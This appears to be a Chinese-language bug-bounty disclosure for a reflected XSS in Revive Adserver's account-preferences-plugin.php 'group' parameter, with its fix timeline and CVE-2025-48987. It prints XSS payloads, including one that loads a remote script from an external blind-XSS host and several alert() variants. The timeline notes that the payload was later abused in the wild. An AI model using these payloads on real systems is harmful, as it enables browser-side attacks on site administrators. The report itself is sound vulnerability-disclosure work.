Revive Adserver | 报告 #3399191 - account-preferences-plugin.php 中的反射型XSS
报告者: lu3ky-13 提交时间: 2025年10月25日 03:23 UTC 报告对象: Revive Adserver 状态: 已解决 严重性: 中 (CVSS评分 4.3) CVE ID: CVE-2025-48987 弱点类型: 反射型跨站脚本 (XSS)
漏洞摘要
我在 revive-adserver-6.0.1/www/admin/account-preferences-plugin.php 文件中发现了一个反射型跨站脚本 (RXSS) 漏洞,漏洞点位于 group 查询参数。不可信的用户输入在未经适当的输出编码或上下文感知转义的情况下被反射回页面,允许攻击者将JavaScript代码注入到生成的页面中。
受影响组件:
revive-adserver-6.0.1/www/admin/account-preferences-plugin.php?group=
测试实例: ████…
概念验证 (PoC)
-
自定义PoC URL (通过 xss.report 测试/报告):
1██████████%27%22%3E%3Cscript%20src=//███████%3E%3C/script%3E -
替代(内联)PoC (演示无需远程资源的执行):
1██████████%27%22%3E%3Cscript%3Ealert(9645)%3C/script%3E -
测试中产生弹窗的“普通载荷”示例 (非破坏性):
1'"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>
复现步骤 (安全环境)
- 访问构造的URL:
████%27%22%3E%3Cscript%3Ealert(1)%3C/script%3E - 观察注入的
<script>alert(1)</script>被执行 (出现弹窗) —— 确认反射型XSS。
影响
攻击者可以注入在受害者浏览器上下文中执行的脚本。这可用于典型的XSS攻击滥用(例如UI篡改、持久化钓鱼内容、会话操纵)。注意:我只测试了非破坏性的PoC,并未尝试窃取敏感信息。
时间线与处理过程
- 2025年10月25日, 07:03 UTC: Revive Adserver 团队成员 mbeccati 将状态变更为 已分类,确认了该反射型XSS漏洞。
- 2025年10月26日, 11:18 UTC: mbeccati 发布了修复补丁文件
h1-3399191.patch(附件 F4934068)。漏洞原因是group参数未经过正确清理。修复方案包括丢弃输入中的意外字符,并验证其是否为有效输入(即插件组确实有需要向用户显示的偏好设置)。 - 2025年10月26日, 11:22 UTC: mbeccati 将严重性从高 (7.3) 调整为中 (4.3),以更符合反射型XSS攻击的实际风险。
- 2025年10月28日, 11:02 UTC: mbeccati 关闭报告并将状态标记为已解决。团队计划在下一周周三(11月5日)发布安全更新,修复多个漏洞,并申请CVE编号。
- 2025年10月31日, 13:45 UTC: CVE编号更新为 CVE-2025-48987。
- 约7天前: 报告被同意并公开披露。
- 约2天前: 报告者 lu3ky-13 在收到通知后发现有人正在利用报告中的载荷,因此请求删除载荷并编辑报告以防止滥用,指出该载荷为盲XSS。团队回复表示无法删除报告摘要内容。
报告者署名: Ahmed Abdalkhaliq Abdulla (Lu3ky.13)